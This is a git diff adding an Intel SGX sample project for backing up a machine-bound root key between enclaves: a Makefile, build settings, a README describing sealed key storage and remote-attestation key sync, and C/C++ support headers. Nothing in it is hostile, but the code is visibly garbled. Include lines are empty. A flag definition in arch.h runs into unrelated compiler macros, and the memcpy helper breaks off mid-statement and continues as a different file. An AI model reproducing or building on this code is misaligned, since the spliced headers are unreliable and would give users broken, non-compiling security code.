+utils/tkey_exchange/sgx_tkey_exchange_u.*
+utils/ukey_exchange/*.o
+
+out/
+
+.history/
+.vscode/
+
+rkeyserver/App/auto_version.h
diff --git a/cczoo/machine_binding_key_backup/Makefile b/cczoo/machine_binding_key_backup/Makefile
new file mode 100644
index 00000000..bec503ec
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/Makefile
@@ -0,0 +1,45 @@
+#
+# Copyright (c) 2022 Intel Corporation
+# SPDX-License-Identifier: Apache-2.0
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include buildenv.mk
+
+SUB_DIR := utils/tkey_exchange utils/ukey_exchange rkeyserver
+
+.PHONY: all clean
+
+all:
+ for dir in $(SUB_DIR); do \
+ $(MAKE) -C $$dir; \
+ done
+
+ifeq ($(Build_Mode), HW_DEBUG)
+ @echo "The project has been built in hardware debug mode."
+else ifeq ($(Build_Mode), HW_RELEAESE)
+ @echo "The project has been built in hardware release mode."
+else ifeq ($(Build_Mode), HW_PRERELEAESE)
+ @echo "The project has been built in hardware pre-release mode."
+else ifeq ($(Build_Mode), SIM_DEBUG)
+ @echo "The project has been built in simulation debug mode."
+else ifeq ($(Build_Mode), SIM_RELEAESE)
+ @echo "The project has been built in simulation release mode."
+else ifeq ($(Build_Mode), SIM_PRERELEAESE)
+ @echo "The project has been built in simulation pre-release mode."
+endif
+
+clean:
+ @rm -rf $(OUTDIR)
+ for dir in $(SUB_DIR); do \
+ $(MAKE) -C $$dir clean; \
+ done
\ No newline at end of file
diff --git a/cczoo/machine_binding_key_backup/README.md b/cczoo/machine_binding_key_backup/README.md
new file mode 100644
index 00000000..645f2d71
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/README.md
@@ -0,0 +1,61 @@
+## Machine binding key backup solution Overview
+
+In the design architecture of this solution, the root server is used to provide the root key, the remote secure channel provided by SGX is used to transmit the root key between the enclaves. The SGX Keys are used to encrypt the root key and store it in a local file or database, so that it can be safely stored outside the enclave environment. In this way, the root key is also bound with the unique SGX Keys of the processor, reducing the correlation between the root key and the maintenance personnel. Considering that the server may fail, we have designed a backup architecture. When we start the standby server, we will ask the primary server for the root key and keep it securely. When the primary server goes down, the backup server can play a role as the primary server.
+
+The root key stored in the keystore needs to be decrypted by all root key providing service instances, while other platforms cannot decrypt the root key encrypted through the SGX sealing mechanism. Therefore, in the SGX security enhanced root key providing service design, the Root Key is deployed in each backup instance by using SGX remote authentication to establish a secure session. The scheme design is shown in the figure. This scheme is stored on the platform through SGX sealed encryption, and the root key is only used for decryption in Enclave, so that every instance has the same root key, and the attacker is prevented from directly obtaining the master key from memory.
+
+
+
+## Build Instructions
+
+- If you need to synchronize the domain key between the host machine (the machine that has the domain key) and the backup machine (the machine that requests the domain key from the host machine), then you can compile first.
+
+``` bash
+make
+```
+
+- In this way, the directory `out/` will be generated, and in this directory, there will be the following files
+
+```
+rkeyserver
+
+lib
+```
+
+- Enter the folder rkeyserver, there will be the following file rkeyserver
+
+```
+ libenclave-rkeyserver.signed.so
+
+ libenclave-rkeyserver.so
+```
+
+- On the host side, execute
+
+``` bash
+./rkeyserver
+```
+
+- on the backup machine, execute
+
+``` bash
+./rkeyserver -i 10.23.100.2 -p 8888
+```
+
+`-i` is followed by the ip address of the host (`10.23.100.2` is used here as an example), `-p` is the port number of the host, the default is `8888`.
+
+- If the following message is displayed
+
+```
+INFO [App/ra_getkey.cpp(454) -> start_getkey]: Successfully received the DomainKey from deploy server.
+```
+
+It means that the domain key is successfully obtained on the backup machine. By default, the domain key is stored in the directory `/etc/rkey.bin` in encrypted form.
+
+It is worth mentioning that when the `/etc/rkey.bin` file already exists, when the backup machine continues to request the domain key from the host, the original `rkey.bin` file will be replaced by the new `rkey.bin` file and the following information is output on the screen
+
+```
+file already exist, substitute by new file
+```
+
+> ***Many source codes in this project come from [intel/ehsm](https://github.com/intel/ehsm/tree/t-multi-dkeyserver-reference)***
diff --git a/cczoo/machine_binding_key_backup/buildenv.mk b/cczoo/machine_binding_key_backup/buildenv.mk
new file mode 100644
index 00000000..cb532c6e
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/buildenv.mk
@@ -0,0 +1,135 @@
+#
+# Copyright (c) 2022 Intel Corporation
+# SPDX-License-Identifier: Apache-2.0
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+######## auto_version Settings ########
+DATE_STRING := `date "+20%y.%m.%d %k:%M"`
+KMS_GIT_SHA=$(shell git rev-parse --short=7 --verify HEAD)
+
+# -------------------------------------------------------------------
+# Function : parent-dir
+# Arguments: 1: path
+# Returns : Parent dir or path of $1, with final separator removed.
+# -------------------------------------------------------------------
+parent-dir = $(patsubst %/,%,$(dir $(1:%/=%)))
+
+# ------------------------------------------------------------------
+# Macro : my-dir
+# Returns : the directory of the current Makefile
+# Usage : $(my-dir)
+# ------------------------------------------------------------------
+my-dir = $(realpath $(call parent-dir,$(lastword $(MAKEFILE_LIST))))
+
+ROOT_DIR := $(call my-dir)
+ifneq ($(words $(subst :, ,$(ROOT_DIR))), 1)
+ $(error main directory cannot contain spaces nor colons)
+endif
+
+######## Output Settings ########
+TOPDIR = $(ROOT_DIR)
+OUTDIR := out
+OUTLIB_DIR := $(OUTDIR)/lib
+
+######## Compiler Settings ########
+CP = cp
+CC ?= gcc
+CXX ?= g++
+RM = rm -f
+
+######## SGX SDK Settings ########
+
+SGX_SDK ?= /opt/intel/sgxsdk
+SGX_MODE ?= HW
+SGX_ARCH ?= x64
+SGX_DEBUG ?= 1
+#SUPPLIED_KEY_DERIVATION ?= 1
+
+include $(SGX_SDK)/buildenv.mk
+
+ifeq ($(shell getconf LONG_BIT), 32)
+ SGX_ARCH := x86
+else ifeq ($(findstring -m32, $(CXXFLAGS)), -m32)
+ SGX_ARCH := x86
+endif
+
+ifeq ($(SGX_ARCH), x86)
+ SGX_COMMON_FLAGS := -m32
+ SGX_LIBRARY_PATH := $(SGX_SDK)/lib
+ SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x86/sgx_sign
+ SGX_EDGER8R := $(SGX_SDK)/bin/x86/sgx_edger8r
+else
+ SGX_COMMON_FLAGS := -m64
+ SGX_LIBRARY_PATH := $(SGX_SDK)/lib64
+ SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign
+ SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r
+endif
+
+ifeq ($(SGX_DEBUG), 1)
+ifeq ($(SGX_PRERELEASE), 1)
+$(error Cannot set SGX_DEBUG and SGX_PRERELEASE at the same time!!)
+endif
+endif
+
+ifeq ($(SUPPLIED_KEY_DERIVATION), 1)
+ SGX_COMMON_FLAGS += -DSUPPLIED_KEY_DERIVATION
+endif
+
+ifeq ($(SGX_DEBUG), 1)
+ SGX_COMMON_FLAGS += -O0 -ggdb3
+else
+ SGX_COMMON_FLAGS += -O2
+endif
+
+SGX_COMMON_FLAGS += -Wall -Wextra -Winit-self -Wpointer-arith -Wreturn-type \
+ -Waddress -Wsequence-point -Wformat-security \
+ -Wmissing-include-dirs -Wfloat-equal -Wundef -Wshadow \
+ -Wcast-align -Wredundant-decls
+
+#SGX_COMMON_CFLAGS += $(SGX_COMMON_FLAGS) -Wstrict-prototypes -Wunsuffixed-float-constants -Wcast-qual
+
+SGX_COMMON_CXXFLAGS := $(SGX_COMMON_FLAGS) -Wnon-virtual-dtor -std=c++11
+
+######## BUILD Settings ########
+ifeq ($(SGX_MODE), HW)
+ifeq ($(SGX_DEBUG), 1)
+ Build_Mode = HW_DEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+ Build_Mode = HW_PRERELEASE
+else
+ Build_Mode = HW_RELEASE
+endif
+else
+ifeq ($(SGX_DEBUG), 1)
+ Build_Mode = SIM_DEBUG
+else ifeq ($(SGX_PRERELEASE), 1)
+ Build_Mode = SIM_PRERELEASE
+else
+ Build_Mode = SIM_RELEASE
+endif
+endif
+
+ifneq ($(SGX_MODE), HW)
+ Urts_Library_Name := sgx_urts_sim
+else
+ Urts_Library_Name := sgx_urts
+endif
+
+ifneq ($(SGX_MODE), HW)
+ Trts_Library_Name := sgx_trts_sim
+ Service_Library_Name := sgx_tservice_sim
+else
+ Trts_Library_Name := sgx_trts
+ Service_Library_Name := sgx_tservice
+endif
+
diff --git a/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png b/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png
new file mode 100644
index 00000000..2acc3c31
Binary files /dev/null and b/cczoo/machine_binding_key_backup/docs/arch-of-back-sgxkms.png differ
diff --git a/cczoo/machine_binding_key_backup/include/datatypes.h b/cczoo/machine_binding_key_backup/include/datatypes.h
new file mode 100644
index 00000000..967d91c6
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/datatypes.h
@@ -0,0 +1,125 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "sgx_report.h"
+#include "sgx_eid.h"
+#include "sgx_ecp_types.h"
+#include "sgx_dh.h"
+#include "sgx_tseal.h"
+
+#ifndef DATATYPES_H_
+#define DATATYPES_H_
+
+#define DH_KEY_SIZE 20
+#define NONCE_SIZE 16
+#define MAC_SIZE 16
+#define MAC_KEY_SIZE 16
+#define PADDING_SIZE 16
+
+#define EH_API_KEY_SIZE 32
+#define UUID_STR_LEN 37
+
+#define TAG_SIZE 16
+#define IV_SIZE 12
+
+#define DERIVE_MAC_KEY 0x0
+#define DERIVE_SESSION_KEY 0x1
+#define DERIVE_VK1_KEY 0x3
+#define DERIVE_VK2_KEY 0x4
+
+#define CLOSED 0x0
+#define IN_PROGRESS 0x1
+#define ACTIVE 0x2
+
+#define SGX_DOMAIN_KEY_SIZE 16
+
+#define MESSAGE_EXCHANGE 0x0
+
+#define MESSAGE_EXCHANGE_CMD_DK 0x1
+
+#define ENCLAVE_TO_ENCLAVE_CALL 0x1
+
+#define INVALID_ARGUMENT -2 ///< Invalid function argument
+#define LOGIC_ERROR -3 ///< Functional logic error
+#define FILE_NOT_FOUND -4 ///< File not found
+
+#define VMC_ATTRIBUTE_MASK 0xFFFFFFFFFFFFFFCB
+
+#define _T(x) x
+
+#define UNUSED(val) (void)(val)
+
+#define TCHAR char
+
+#define _TCHAR char
+
+#define scanf_s scanf
+
+#define _tmain main
+
+#ifndef INT_MAX
+#define INT_MAX 0x7fffffff
+#endif
+
+#ifndef SAFE_FREE
+#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr) = NULL;}}
+#endif
+
+#ifndef _ERRNO_T_DEFINED
+#define _ERRNO_T_DEFINED
+typedef int errno_t;
+#endif
+
+
+typedef uint8_t dh_nonce[NONCE_SIZE];
+typedef uint8_t cmac_128[MAC_SIZE];
+
+#pragma pack(push, 1)
+
+//Format of the AES-GCM message being exchanged between the source and the destination enclaves
+typedef struct _secure_message_t
+{
+ uint32_t session_id; //Session ID identifyting the session to which the message belongs
+ sgx_aes_gcm_data_t message_aes_gcm_data;
+} secure_message_t;
+
+//Format of the input function parameter structure
+typedef struct _ms_in_msg_exchange_t {
+ uint32_t msg_type; //Type of Call E2E or general message exchange
+ uint32_t target_fn_id; //Function Id to be called in Destination. Is valid only when msg_type=ENCLAVE_TO_ENCLAVE_CALL
+ uint32_t inparam_buff_len; //Length of the serialized input parameters
+ uint8_t inparam_buff[1]; //Serialized input parameters
+} ms_in_msg_exchange_t;
+
+//Format of the return value and output function parameter structure
+typedef struct _ms_out_msg_exchange_t {
+ uint32_t retval_len; //Length of the return value
+ uint32_t ret_outparam_buff_len; //Length of the serialized return value and output parameters
+ uint8_t ret_outparam_buff[1]; //Serialized return value and output parameters
+} ms_out_msg_exchange_t;
+
+//Session Tracker to generate session ids
+typedef struct _session_id_tracker_t
+{
+ uint32_t session_id;
+} session_id_tracker_t;
+
+#pragma pack(pop)
+
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/arch.h b/cczoo/machine_binding_key_backup/include/key_exchange/arch.h
new file mode 100644
index 00000000..c26acb03
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/arch.h
@@ -0,0 +1,296 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SE_ARCH_H_
+#define _SE_ARCH_H_
+
+#include "inst.h"
+#include "se_types.h"
+#include "sgx_attributes.h"
+#include "sgx_key.h"
+#include "sgx_report.h"
+#include "sgx_tcrypto.h"
+
+#define SE_PAGE_SIZE 0x1000
+#define TCS_SIZE SE_PAGE_SIZE
+
+#pragma pack(push, 1)
+
+#define STATIC_ASSERT_UNUSED_ATTRIBUTE __attribute__((unused))
+#define _ASSERT_CONCAT(a, b) a##b
+#define ASSERT_CONCAT(a, b) _ASSERT_CONCAT(a, b)
+#ifdef __cplusplus
+#define se_static_assert(e) static_assert(e, "static assert error")
+#else
+#define se_static_assert(e) typedef char ASSERT_CONCAT(assert_line, __LINE__)[(e)?1:-1] STATIC_ASSERT_UNUSED_ATTRIBUTE
+#endif
+
+se_static_assert(sizeof(sgx_key_request_t) == 512);
+se_static_assert(sizeof(sgx_target_info_t) == 512);
+
+/*SECS data structure*/
+typedef struct _secs_t
+{
+ uint64_t size; /* ( 0) Size of the enclave in bytes */
+ PADDED_POINTER(void, base); /* ( 8) Base address of enclave */
+ uint32_t ssa_frame_size; /* ( 16) size of 1 SSA frame in pages */
+ sgx_misc_select_t misc_select; /* ( 20) Which fields defined in SSA.MISC */
+#define SECS_RESERVED1_LENGTH 24
+ uint8_t reserved1[SECS_RESERVED1_LENGTH]; /* ( 24) reserved */
+ sgx_attributes_t attributes; /* ( 48) ATTRIBUTES Flags Field */
+ sgx_measurement_t mr_enclave; /* ( 64) Integrity Reg 0 - Enclave measurement */
+#define SECS_RESERVED2_LENGTH 32
+ uint8_t reserved2[SECS_RESERVED2_LENGTH]; /* ( 96) reserved */
+ sgx_measurement_t mr_signer; /* (128) Integrity Reg 1 - Enclave signing key */
+#define SECS_RESERVED3_LENGTH 32
+ uint8_t reserved3[SECS_RESERVED3_LENGTH]; /* (160) reserved */
+ sgx_config_id_t config_id; /* (192) CONFIGID */
+ sgx_prod_id_t isv_prod_id; /* (256) product ID of enclave */
+ sgx_isv_svn_t isv_svn; /* (258) Security Version of the Enclave */
+ sgx_config_svn_t config_svn; /* (260) CONFIGSVN */
+#define SECS_RESERVED4_LENGTH 3834
+ uint8_t reserved4[SECS_RESERVED4_LENGTH];/* (262) reserved */
+} secs_t;
+
+
+/*
+TCS
+flags definitions
+*/
+#define DBGOPTIN 1 /* used by debugger */
+
+typedef struct _tcs_t
+{
+ uint64_t reserved0; /* (0) */
+ uint64_t flags; /* (8)bit 0: DBGOPTION */
+ uint64_t ossa; /* (16)State Save Area */
+ uint32_t cssa; /* (24)Current SSA slot */
+ uint32_t nssa; /* (28)Number of SSA slots */
+ uint64_t oentry; /* (32)Offset in enclave to which control is transferred on EENTER if enclave INACTIVE state */
+ uint64_t reserved1; /* (40) */
+ uint64_t ofs_base; /* (48)When added to the base address of the enclave, produces the base address FS segment inside the enclave */
+ uint64_t ogs_base; /* (56)When added to the base address of the enclave, produces the base address GS segment inside the enclave */
+ uint32_t ofs_limit; /* (64)Size to become the new FS limit in 32-bit mode */
+ uint32_t ogs_limit; /* (68)Size to become the new GS limit in 32-bit mode */
+#define TCS_RESERVED_LENGTH 4024
+ uint8_t reserved[TCS_RESERVED_LENGTH]; /* (72) */
+}tcs_t;
+
+se_static_assert(sizeof(tcs_t) == SE_PAGE_SIZE);
+
+/****************************************************************************
+ * Definitions for SSA
+ ****************************************************************************/
+typedef struct _exit_info_t
+{
+ uint32_t vector:8; /* Exception number of exceptions reported inside enclave */
+ uint32_t exit_type:3; /* 3: Hardware exceptions, 6: Software exceptions */
+ uint32_t reserved:20;
+ uint32_t valid:1; /* 0: unsupported exceptions, 1: Supported exceptions */
+} exit_info_t;
+
+#define SE_VECTOR_DE 0
+#define SE_VECTOR_DB 1
+#define SE_VECTOR_BP 3
+#define SE_VECTOR_BR 5
+#define SE_VECTOR_UD 6
+#define SE_VECTOR_MF 16
+#define SE_VECTOR_AC 17
+#define SE_VECTOR_XM 19
+
+typedef struct _ssa_gpr_t
+{
+ REGISTER( ax); /* (0) */
+ REGISTER( cx); /* (8) */
+ REGISTER( dx); /* (16) */
+ REGISTER( bx); /* (24) */
+ REGISTER( sp); /* (32) */
+ REGISTER( bp); /* (40) */
+ REGISTER( si); /* (48) */
+ REGISTER( di); /* (56) */
+ uint64_t r8; /* (64) */
+ uint64_t r9; /* (72) */
+ uint64_t r10; /* (80) */
+ uint64_t r11; /* (88) */
+ uint64_t r12; /* (96) */
+ uint64_t r13; /* (104) */
+ uint64_t r14; /* (112) */
+ uint64_t r15; /* (120) */
+ REGISTER(flags); /* (128) */
+ REGISTER( ip); /* (136) */
+ REGISTER( sp_u); /* (144) untrusted stack pointer. saved by EENTER */
+ REGISTER( bp_u); /* (152) untrusted frame pointer. saved by EENTER */
+ exit_info_t exit_info; /* (160) contain information for exits */
+ uint32_t reserved; /* (164) padding to multiple of 8 bytes */
+ uint64_t fs; /* (168) FS register */
+ uint64_t gs; /* (176) GS register */
+} ssa_gpr_t;
+
+typedef uint64_t si_flags_t;
+
+#define SI_FLAG_NONE 0x0
+#define SI_FLAG_R 0x1 /* Read Access */
+#define SI_FLAG_W 0x2 /* Write Access */
+#define SI_FLAG_X 0x4 /* Execute Access */
+#define SI_FLAG_PT_LOW_BIT 0x8 /* PT low bit */
+#define SI_FLAG_PT_MASK (0xFF<= 3)
+# define likely(x) __builtin_expect ((x), 1)
+# define unlikely(x) __builtin_expect ((x), 0)
+# else
+# define likely(x) (x)
+# define unlikely(x) (x)
+# endif
+
+#ifndef SE_DECLSPEC_EXPORT
+#define SE_DECLSPEC_EXPORT __attribute__((visibility("default")))
+#endif
+
+#ifndef SE_DECLSPEC_IMPORT
+#define SE_DECLSPEC_IMPORT
+#endif
+
+#ifndef SE_DECLSPEC_ALIGN
+#define SE_DECLSPEC_ALIGN(x) __attribute__((aligned(x)))
+#endif
+
+#ifndef SE_DECLSPEC_THREAD
+#define SE_DECLSPEC_THREAD /*__thread*/
+#endif
+
+/* disable __try, __except on linux */
+#ifndef __try
+#define __try try
+#endif
+
+#ifndef __except
+#define __except(x) catch(...)
+#endif
+
+
+#ifndef SE_DRIVER
+
+# define SE_GNU
+# if defined(__x86_64__)
+# define SE_64
+# define SE_GNU64
+# else
+# define SE_32
+# define SE_GNU32
+# endif
+
+#endif
+
+ #define INITIALIZER(f) \
+ static void f(void) __attribute__((constructor));
+
+#ifdef __cplusplus
+#define MY_EXTERN extern "C"
+#else
+#define MY_EXTERN extern
+#endif
+
+#define SGX_ACCESS_VERSION(libname, num) \
+ MY_EXTERN char sgx_##libname##_version[]; \
+ MY_EXTERN char * __attribute__((destructor)) libname##_access_version_dummy##num() \
+ { \
+ sgx_##libname##_version[0] = 's'; \
+ return sgx_##libname##_version; \
+ }
+
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_lock.hpp b/cczoo/machine_binding_key_backup/include/key_exchange/se_lock.hpp
new file mode 100644
index 00000000..691dc7bd
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_lock.hpp
@@ -0,0 +1,63 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+/* This file implement lock guard */
+
+#ifndef SE_LOCK_HPP
+#define SE_LOCK_HPP
+
+#include "util.h"
+#include "se_thread.h"
+#include "uncopyable.h"
+
+class Mutex: private Uncopyable
+{
+public:
+ Mutex(){se_mutex_init(&m_mutex);}
+ ~Mutex(){se_mutex_destroy(&m_mutex);}
+ void lock(){se_mutex_lock(&m_mutex);}
+ void unlock(){se_mutex_unlock(&m_mutex);}
+private:
+ se_mutex_t m_mutex;
+};
+
+class Cond: private Uncopyable
+{
+public:
+ Cond(){se_mutex_init(&m_mutex); se_thread_cond_init(&m_cond);}
+ ~Cond(){se_mutex_destroy(&m_mutex); se_thread_cond_destroy(&m_cond);}
+ void lock(){se_mutex_lock(&m_mutex);}
+ void unlock(){se_mutex_unlock(&m_mutex);}
+ void wait(){se_thread_cond_wait(&m_cond, &m_mutex);}
+ void signal(){se_thread_cond_signal(&m_cond);}
+ void broadcast(){se_thread_cond_broadcast(&m_cond);}
+private:
+ se_mutex_t m_mutex;
+ se_cond_t m_cond;
+};
+
+class LockGuard: private Uncopyable
+{
+public:
+ LockGuard(Mutex* mutex):m_mutex(mutex){m_mutex->lock();}
+ ~LockGuard(){m_mutex->unlock();}
+private:
+ Mutex* m_mutex;
+};
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_memcpy.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_memcpy.h
new file mode 100644
index 00000000..dacf47c6
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_memcpy.h
@@ -0,0 +1,48 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SE_MEMCPY_H_
+#define _SE_MEMCPY_H_
+
+#include
+
+
+/* memcpy_s always return 0 under Linux */
+
+#ifndef _ERRNO_T_DEFINED
+#define _ERRNO_T_DEFINED
+typedef int errno_t;
+#endif
+
+#ifdef __cplusplus
+ extern "C" {
+#endif
+
+static inline errno_t memcpy_s(void *dest, size_t numberOfElements, const void *src, size_t count)
+{
+ if(numberOfElements
+#include
+#include "se_memcpy.h"
+#include
+#include
+#include
+#include
+#include
+
+#ifndef MAX_PATH
+#define MAX_PATH 260
+#endif
+
+static inline int se_delete_file(const char *path_name)
+{
+ return unlink(path_name);
+}
+
+#define se_delete_tfile se_delete_file
+
+static inline int sprintf_s(char *dst_buf, size_t size_in_bytes, const char *format, ...)
+{
+ va_list argptr;
+ int cnt;
+ va_start(argptr, format);
+ cnt = vsnprintf(dst_buf, size_in_bytes, format, argptr);
+ va_end(argptr);
+ return cnt;
+}
+
+static inline int _snprintf_s(char *dst_buf, size_t size_in_bytes, size_t max_count, const char *format, ...)
+{
+ (void) size_in_bytes;
+ va_list argptr;
+ int cnt;
+ va_start(argptr, format);
+ cnt = vsnprintf(dst_buf, max_count, format, argptr);
+ va_end(argptr);
+ return cnt;
+}
+
+static inline errno_t fopen_s(FILE **f, const char *filename, const char *mode)
+{
+ errno_t err = 0;
+ *f = fopen(filename, mode);
+ if(*f==NULL){
+ err = -1;
+ }
+ return err;
+}
+
+static inline int se_copy_file(const char *dst_name, const char *src_name)
+{
+ int dest = -1;
+ int source = -1;
+ ssize_t nr_read;
+ struct stat stat_buf;
+
+#ifndef BUF_SIZE
+#define BUF_SIZE 4096
+#endif
+ char buf[BUF_SIZE];
+
+ /* open the input file */
+ source = open(src_name, O_RDONLY);
+ if(source < 0)
+ goto error;
+
+ /* get size and permissions of the prebuild DB file */
+ if (fstat(source, &stat_buf) != 0)
+ goto error;
+
+ dest = open(dst_name, O_WRONLY|O_CREAT|O_TRUNC, stat_buf.st_mode);
+ if(dest < 0)
+ goto error;
+
+ while ((nr_read = read(source, buf, BUF_SIZE)) > 0)
+ {
+ if (write(dest, buf, nr_read) != nr_read)
+ goto error;
+ }
+#undef BUF_SIZE
+
+ close(dest);
+ close(source);
+ return 0;
+
+error:
+ if(dest>=0)close(dest);
+ if(source>=0)close(source);
+ return -1;
+}
+
+#ifdef __cplusplus
+template
+int sprintf_s(char (&dst)[_Size], const char *format, ...)
+{
+ va_list argptr;
+ int cnt;
+ va_start(argptr, format);
+ cnt = vsprintf(dst, format, argptr);
+ va_end(argptr);
+ return cnt;
+}
+
+template
+int _snprintf_s(char (&dst)[_Size], size_t max_count, const char *format, ...)
+{
+ va_list argptr;
+ int cnt;
+ va_start(argptr, format);
+ cnt = vsnprintf(dst, max_count, format, argptr);
+ va_end(argptr);
+ return cnt;
+}
+
+#endif
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_string.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_string.h
new file mode 100644
index 00000000..0ee47bc1
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_string.h
@@ -0,0 +1,60 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SE_STRING_H_
+#define _SE_STRING_H_
+
+#include "se_memcpy.h"
+#include
+
+
+#ifndef _ERRNO_T_DEFINED
+#define _ERRNO_T_DEFINED
+typedef int errno_t;
+#endif
+
+static inline errno_t strcat_s(char *dst, size_t max_size, const char *src)
+{
+ if(strlen(dst)+strlen(src)+1>max_size)return -1;
+ strcat(dst, src);
+ return 0;
+}
+
+static inline errno_t strcpy_s(char *dst, size_t max_size, const char *src)
+{
+ if(strnlen(src, max_size)+1>max_size)return -1;
+ strcpy(dst, src);
+ return 0;
+}
+
+#define _strnicmp strncasecmp
+static inline errno_t strncat_s(char *dst, size_t max_size, const char *src, size_t max_count)
+{
+ size_t len = strnlen(src,max_count);
+ len+=strnlen(dst, max_size)+1;
+ if(len>max_size)return -1;
+ strncat(dst, src, max_count);
+ return 0;
+}
+
+#define _strdup strdup
+#define strnlen_s strnlen
+
+
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/se_thread.h b/cczoo/machine_binding_key_backup/include/key_exchange/se_thread.h
new file mode 100644
index 00000000..8acaa2b6
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/se_thread.h
@@ -0,0 +1,67 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SE_THREAD_H_
+#define _SE_THREAD_H_
+
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE /* for PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP */
+#endif
+#include
+#include
+#include
+#include
+typedef pthread_mutex_t se_mutex_t;
+typedef pthread_cond_t se_cond_t;
+typedef pid_t se_thread_id_t;
+typedef pthread_key_t se_tls_index_t;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+/*
+@mutex: A pointer to the critical section object.
+@return value: If the function succeeds, the return value is nonzero.If the function fails, the return value is zero.
+*/
+void se_mutex_init(se_mutex_t* mutex);
+int se_mutex_lock(se_mutex_t* mutex);
+int se_mutex_unlock(se_mutex_t* mutex);
+int se_mutex_destroy(se_mutex_t* mutex);
+
+void se_thread_cond_init(se_cond_t* cond);
